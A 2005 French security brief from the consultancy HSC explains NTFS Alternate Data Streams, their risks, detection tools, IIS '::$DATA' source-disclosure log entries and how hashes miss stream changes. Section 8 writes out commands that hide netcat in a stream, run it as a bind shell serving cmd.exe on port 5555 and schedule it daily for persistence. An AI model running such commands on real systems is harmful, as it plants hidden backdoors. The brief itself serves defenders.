HSC
Cabinet de consultants en sécurité informatique depuis 1989 - Spécialisé sur Unix, Windows, TCP/IP et Internet
Mode texte : accès au contenu de la page
Hervé Schauer Consultants
Vous êtes ici : Accueil > Ressources > Brèves > Les Alternate Data Streams (ADS)
Accéder au : Site HSC des formations
Télécharger le catalogue des formations
Recherche :  
English version
   Services   
o Domaines de compétences
o Conseil & Expertise
o Prestations ISO 27001
o Audit & Évaluation
o Tests d'intrusion
o Tests de vulnérabilités (TSAR)
o Analyse Forensique
o Certification ARJEL
o Formations
o E-learning
   Conférences   
o Agenda
o Interventions passées
o Tutoriels
   Ressources   
o Index thématique
o Brèves
o Présentations
o Cours
o Articles
o Outils (téléchargement)
o Veille en vulnérabilité
   Société   
o Hervé Schauer
o Equipe
o Offres d'emploi
o Références
o Historique
o Partenariats
o Associations
   Presse et
 communication
 
 
o Newsletter HSC
o Bulletin juridique HSC
o Revue de presse
o Communiqués de presse
o Publications
   Contacts   
o Coordonnées
o Requêtes particulières
o Accès à nos locaux
o Hôtels proches de nos locaux
|>|Les Alternate Data Streams (ADS)  

par Stéphane Milani (05/08/2005)



========================================================================
Les Alternate Data Streams (ADS)
========================================================================

Cette brève traite des Alternate Data Streams.
Les ADS sont implémentés dans les systèmes de fichiers NTFS par toutes 
les versions des systèmes Windows depuis Windows 3.1 en Mai 1993.
========================================================================

1 --- Introduction:
========================================================================

Le système de fichiers NTFS, utilisé par Windows Server 2003, Windows 
XP, Windows 2000 et Windows NT, a une fonctionnalité qui est peu 
documentée et inconnue de beaucoup de développeurs, administrateurs et 
utilisateurs. Cette fonctionnalité se nomme Alternate Data Streams (Flux 
de Données Additionnels) et permet à des données comme du texte, des 
graphiques ou du code exécutable d'être stockées dans des fichiers 
cachés. Ces derniers sont liés à un fichier visible normal.


2 --- Utilité des ADS:
========================================================================

Une des raisons principales du support des ADS par Windows (à ne pas 
confondre avec Active Directory Service) est de permettre le support du 
système de fichiers Macintosh Hierarchical File System (HFS) et ainsi de 
permettre à un système de type Windows NT d'être serveur de fichiers 
pour des clients Macintosh.

Les fichiers stockés par le système de fichiers Macintosh consistent en 
deux parties (concept de forks): data fork et resource fork.

Windows utilise l'extension de fichier (par exemple .exe) pour 
déterminer quel programme est associé avec un fichier, alors que 
Macintosh utilise le resource fork pour ceci.

Windows a généralisé ce concept de resource fork et stocke les forks 
Macintosh dans un flux (stream) NTFS caché. Le data fork devient alors 
le fichier parent du flux.

Les ADS ont d'autres usages. Par exemple, il est possible de stocker 
une image miniature d'une photo ou un track audio dans un flux NTFS. 
Ceci permet à un simple fichier d'avoir plusieurs composants mutimédia.

Aussi, beaucoup de programmes antivirus stockent les checksums dans un 
flux, sous chaque fichier du disque dur.


3 --- Convention de nom pour les flux:
========================================================================

Le nom complet d'un flux est <nom du fichier>:<nom du flux>:<type de flux>
Par exemple: hsc.dat:stream1:$DATA .

Par défaut le flux de données (data Stream) est anonyme. Si un 
utilisateur crée un flux se nommant "foo", son nom complet sera exemple:foo:$DATA . 
Les caratères ":" et la chaîne "$DATA" sont omis lors de la manipulation 
d'un nom de flux.


4 --- Représentation des flux:
========================================================================

StreamHSC.doc --------------> [  Stream anonyme  ]---> Visible de tous les systèmes de fichiers
			      	    principal    

StreamHSC.doc:Stream1 ------> [     Stream1	 ]---> Visible seulement des volumes NTFS  
StreamHSC.doc:Stream2 ------> [     Stream2	 ]---> Visible seulement des volumes NTFS
StreamHSC.doc:StreamN ------> [	    StreamN	 ]---> Visible seulement des volumes NTFS


5 --- Exemple de code représentant un flux NTFS:
========================================================================

#include <windows.h>
#include <stdio.h>

   void main( )
   {
      HANDLE hFile, hStream;
      DWORD dwRet;

      hFile = CreateFile( "testfile",
                       GENERIC_WRITE,
                    FILE_SHARE_WRITE,
                                NULL,
                         OPEN_ALWAYS,
                                   0,
                                NULL );
      if( hFile == INVALID_HANDLE_VALUE )
         printf( "Cannot open testfile\n" );
      else
          WriteFile( hFile, "This is testfile", 16, &dwRet, NULL );

      hStream = CreateFile( "testfile:stream",
                                GENERIC_WRITE,
                             FILE_SHARE_WRITE,
                                         NULL,
                                  OPEN_ALWAYS,
                                            0,
                                         NULL );
      if( hStream == INVALID_HANDLE_VALUE )
         printf( "Cannot open testfile:stream\n" );
      else
         WriteFile(hStream, "This is testfile:stream", 23, &dwRet, NULL);
   }


6 --- Le risque au niveau de la sécurité des ADS:
========================================================================

Le principal risque au niveau de la sécurité est que les ADS sont 
complètement cachés. Ceci offre une possibilité pour des chevaux 
de troie, virus ou autres spywares d'en tirer un avantage certain.

Les flux NTFS peuvent facilement être créés et utilisés mais ils ne 
peuvent être détectés que par des programmes spéciaux. Par exemple, un 
programme comme l'Explorateur Windows (Explorer) peut voir les fichiers 
normaux mais il ne peut pas voir les flux NTFS liés à des fichiers. 
Aussi, Explorer ne peut déterminer l'espace disque utilisé par des flux. 
Ceci peut permettre à un utilisateur malintentionné d'effectuer un Déni 
de Service en remplissant le disque dur d'un autre utilisateur de façon 
complètement invisible. (Les outils pour détecter les ADS sont dans le 
paragraphe 9).

Pour être plus complet, il est utile d'ajouter qu'un flux NTFS ne peut 
être effacé qu'avec son fichier parent.


7 --- Les principaux dangers des flux NTFS:
========================================================================

- Les flux ne sont visibles que par des logiciels spécialisés.
- Les flux ne s'attachent pas seulement aux fichiers, ils s'attachent 
  également aux répertoires.
- Il peut y avoir plusieurs flux attachés à un même fichier.
- Un flux ne peut être effacé. Le fichier parent avec lequel il est 
  attaché doit être effacé pour que le flux soit enlevé.
- Un flux attaché à un répertoire racine, par exemple "c::MonStream" ne 
  peut être effacé.
- "L'espace disque disponible" affiché par un programme comme Windows 
  Explorer ne prend pas en compte l'espace disque consommé par les flux.
- Un programme malveillant peut continuer à écrire dans un flux, et 
  ainsi remplir le disque dur d'un utilisateur et rendre le nettoyage 
  très difficile.
- Les flux peuvent être executés.
- Les flux qui s'exécutent n'ont pas leur nom correctement affiché dans 
  le Gestionnaire des tâches. Par exemple, si le flux "c:\hsc.txt:MonStream" 
  s'exécute, le Gestionnaire des tâches affichera seulement "hsc.txt".
- Il est possible de créer un site Web secret sur un serveur IIS 5.x et 
  inférieur.


8 --- Comment créer un flux NTFS:
========================================================================

Créer, écrire dans un flux et lire un flux est virtuellement identique 
que pour un fichier normal, excepté pour le nom de fichier du flux qui 
consiste en deux parties séparées par une colonne. La première partie 
pointe sur le fichier parent du flux. La seconde partie est le nom 
actuel du flux. 

La syntaxe utilisée pour créer un ADS est relativement simple:
c:\echo Ceci est un ADS > hsc.txt:MonStream

Ceci crée (ou lit depuis, si le flux existe déjà) le flux "MonStream" 
qui est lié au fichier parent c:\hsc.txt.

Le flux NTFS peut être affiché en tapant:
c:\notepad hsc.txt:MonStream

La commande "dir" ou bien un explorateur de fichiers, comme Explorer, 
affichera que le fichier c:\hsc.txt fait O octet.
Aussi le fichier "c:\hsc.txt:MonStream" ne sera pas détecté. Ceci 
provient du fait que "MonStream" n'est pas un vrai fichier. "MonStream" 
est en fait un fichier de données lié au fichier parent c:\hsc.txt.

Modifier le fichier parent n'affectera aucunement les flux liés à ce 
fichier. De même modifier un flux n'affecte pas son fichier parent.
"MonStream" est un stockage caché.

Exemple pour créer un Alternate Data Stream exécutable:
c:\type c:\winnt\notepad.exe > hsc.txt:NotepadCache.exe
c:\type c:\hsc\hack.exe > hsc.txt:hack.exe

Exemple avec netcat: 
C:\> type c:\winnt\system32\nc.exe > c:\tmp\log.txt:backup.exe
C:\> start /b c:\tmp\log.txt:backup.exe -L -p 5555 -d -e cmd.exe
C:\> at \\127.0.0.1 14:30 /every:M,T,W,Th,F,S,Su start /b c:\tmp\log.txt:backup.exe -L -p 5555 -d -e cmd.exe


9 --- Outils pour détecter les ADS:
========================================================================

Microsoft ne fournit pas d'outil ou d'utilitaire par défaut pour 
détecter la présence d'ADS.

- L'outil NTFSext.exe peut être téléchargé, de même que le fichier 
  strmext.dll qui est à mettre dans le répertoire system32.
  Taper: regsvr32 StrmExt.dll.
  Ceci permet d'avoir un nouvel onglet dans les propriétés des fichiers 
  de l'Explorateur Windows.
  http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnfiles/html/ntfs5.asp

  Windows Server 2003 R2 ( http://www.microsoft.com/windowsserver2003/R2/trial/default.mspx )
  inclus des possibilités de quotas sur les répertoires et non plus 
  seulement sur les volumes grâce à la commande DIRQUOTA.EXE. Le 
  mécanisme des quotas fonctionne désormais avec les Alternate Data 
  Streams donc des utilisateurs malveillants ne pourront plus cacher 
  de données dans les ADS.

  Pour les serveurs IIS, l'outil URLScan devrait être utilisé pour 
  détecter la présence éventuelle de sites Web secrets.
  http://www.microsoft.com/windows2000/downloads/recommended/urlscan/default.asp

- Un très bon outil en ligne de commande pour détecter les ADS est LADS 
  écrit par Franck Heyne.
  http://www.heysoft.de/

  exemple d'utilisation:
  LADS - Freeware version 4.00
  (C) Copyright 1998-2004 Frank Heyne Software (http://www.heysoft.de)
  This program lists files with alternate data streams (ADS)
  Use LADS on your own risk!
  Scanning directory C:\hsc
        size  ADS in file
  ----------  ---------------------------------
       32768  C:\hsc\hsc1.txt:keylogger.exe
      143360  C:\hsc\hsc2.txt:psexec.exe
       86016  C:\hsc\hsc3.txt:pslist.exe
      262144 bytes in 3 ADS listed


- Streams de Sysinternals
  http://www.sysinternals.com/Utilities/Streams.html

- SDIR
  http://www.wftpd.com/downloads/sdir.zip

- TDS-3
  http://tds.diamondcs.com.au/

- Un outil graphique: Stream Explorer
  http://www.rekenwonder.com/streamexplorer.htm

- ShowStream de JC Bellamy
  http://jc.bellamy.free.fr/fr/stream.html#showstream

- lns
  http://ntsecurity.nu/toolbox/lns/

- scSTREAMS
  http://www.softcorp.us/scstreams.php?layout=print


Outils qui peuvent toujours servir en cas de besoin:

- GNU utilities for Win32
  http://unxutils.sourceforge.net/

- Copy_ads
  http://www.dmares.com/maresware/ac.htm#COPYADS


10 --- Exemple de détection d'une attaque $DATA dans les journaux IIS
========================================================================

Sur un serveur IIS d'une version inférieure à 6.0 sur lequel aucun
correctif de sécurité n'a été appliqué, la requête
http://monserveurIIS/default.asp::$DATA renvoie le source du fichier ASP 
au lieu d'exécuter le script.

Lorsque cette attaque se produit, les journaux de IIS affichent ceci:

W3C Extended Log File Format:

      11:25:12 10.0.0.5 GET /default.asp::$DATA 200
      11:26:07 10.0.0.5 GET /default.asp::$DATA 304
      11:54:04 10.0.0.5 GET /default.asp::$DATA 200

   NCSA Common Log File Format:

      10.0.0.5 - - [22/Jul/2005:11:25:12 -0600] "GET /default.asp::$DATA
      HTTP/1.1" 200 13388
      10.0.0.5 - - [22/Jul/2005:11:26:07 -0600] "GET /default.asp::$DATA
      HTTP/1.1" 304 123
      10.0.0.5 - - [22/Jul/2005:11:54:04 -0600] "GET /default.asp::$DATA
      HTTP/1.1" 200 12219

   Microsoft IIS Log File Format:

      10.0.0.5,-
      ,22/Jul/2005,11:25:12,W3SVC,SERVER1,10.0.0.2,163,13388,200,0,GET,/default.asp::$DATA
      10.0.0.5,-
      ,22/Jul/2005,11:26:07,W3SVC,SERVER1,10.0.0.2,163,123,304,0,GET,/default.asp::$DATA
      10.0.0.5,-
      ,22/Jul/2005,11:54:04,W3SVC,SERVER1,10.0.0.2,163,12219,200,0,GET,/default.asp::$DATA


11 --- Exemple de détection d'un accès ADS dans les journaux IIS 
========================================================================

La configuration par défaut d'URLScan empêche les accès aux fichiers ADS 
et génère les lignes suivantes dans les journaux de IIS:

   Client at 10.1.1.100: URL contains sequence ':', which is disallowed.
   Request will be rejected. Site Instance='1', Raw
   URL='/monserveurIIS/hsc.gif:secret' 


12 --- Les algorithmes de hachages et les ADS
========================================================================

Les 2 algorithmes de hachage les plus utilisés sont le SHA-1 (Secure 
Hash Algorithm) qui calcule un résumé de 160 bits, et le MD5 (Message-
Digest Algorithm), qui calcule un résumé de 128 bits.
Ces algorithmes permettent de calculer une empreinte unique pour un 
fichier. Si un fichier est modifié, la valeur de l'empreinte de hachage 
changera également. Ceci permet de vérifier l'intégrité des fichiers.

L'outil FCIV (File Checksum Integrity Verifier) de Microsoft est un 
outil qui permet de calculer la valeur de hachage MD5 ou SHA1 d'un 
fichier.
http://support.microsoft.com/default.aspx?scid=kb;en-us;841290

En créant un fichier essai.txt contenant un texte quelconque, il est 
possible de vérifier la valeur MD5 du fichier grâce à FCIV:

C:\Steph>notepad essai.txt
C:\Steph>fciv.exe -md5 essai.txt
//
// File Checksum Integrity Verifier Version 2.05.
//
cf992893402a79872cd39f83fc82a177 essai.txt

Si le texte du fichier essai.txt change, alors la valeur MD5 change 
considérablement:

C:\Steph>notepad essai.txt
C:\Steph>fciv.exe -md5 essai.txt
//
// File Checksum Integrity Verifier Version 2.05.
//
2039b7f75c06cf214ad8ddb497dd212 essai.txt

Tout ceci est normal.

Maintenant, en créant un Alternate Data Stream dans le fichier essai.txt:
 
C:\Steph>echo Ceci est un ADS > essai.txt:MonStream
C:\Steph>fciv.exe -md5 essai.txt
//
// File Checksum Integrity Verifier Version 2.05.
//
2039b7f75c06cf214ad8ddb497dd212 essai.txt

:-( La valeur MD5 est la même!

Toutes les actions effectuées sur l'ADS de ce fichier ne seront pas 
détectées en calculant simplement la valeur de hachage avant et après 
des modifications.


13 --- Conclusion
========================================================================

Les Alternate Data Stream permettent de fournir une compatibilité avec 
HFS et jouent un rôle important dans NTFS.
Cependant, cette fonctionnalité peut être utilisée de façon malveillante. 
Les utilisateurs ou les administrateurs systèmes doivent prendre en 
compte les ADS et scanner régulièrement leurs fichiers en utilisant des 
outils externes à Windows.
De même, un contrôle d'intégrité des fichiers doit pouvoir être réalisé 
sur des alternate data streams.
Aussi, il ne faut pas oublier que les ADS peuvent être des fichiers 
exécutables et toutes les précautions doivent être prises pour protéger 
les systèmes.


14 --- Références
========================================================================

- Dark side of NTFS by H. Carvey
  pHRACK#6o Volume 0x0b, Issue 0x3c, Phile #0x03 of 0x10
  http://www.phrack.org/show.php?p=60&a=3
  http://patriot.net/~carvdawg/docs/dark_side.html

- Alternate Data Streams: Out of the Shadows and into the Light
  by Ryan L. Means for GCWN v3.1 (Option 3)
  SANS Institute
  http://www.sans.org/rr/whitepapers/honors/1503.php

- Alternate Data Streams for Managers
  GIAC
  http://www.giac.org/certified_professionals/practicals/gsec/1794.php

- Windows NTFS Alternate Data Streams by Don Parker
  http://www.securityfocus.com/infocus/1822

- FAQ: Alternate Data Streams in NTFS by Frank Heyne
  http://www.heysoft.de/nt/ntfs-ads.htm

- A Programmer's Perspective on NTFS 2000 Part 1: Stream and Hard Link
  http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnfiles/html/ntfs5.asp

- Les flux (méta-données dans les partitions NTFS) par JC Bellamy
  http://jc.bellamy.free.fr/fr/stream.html

========================================================================

Stéphane Milani <Stephane.Milani@hsc.fr>
Hervé Schauer Consultants



Dernière modification le 6 novembre 2007 à 12:58:46 CET - webmaster@hsc.fr
Mentions légales - Informations sur ce serveur - © 1989-2013 Hervé Schauer Consultants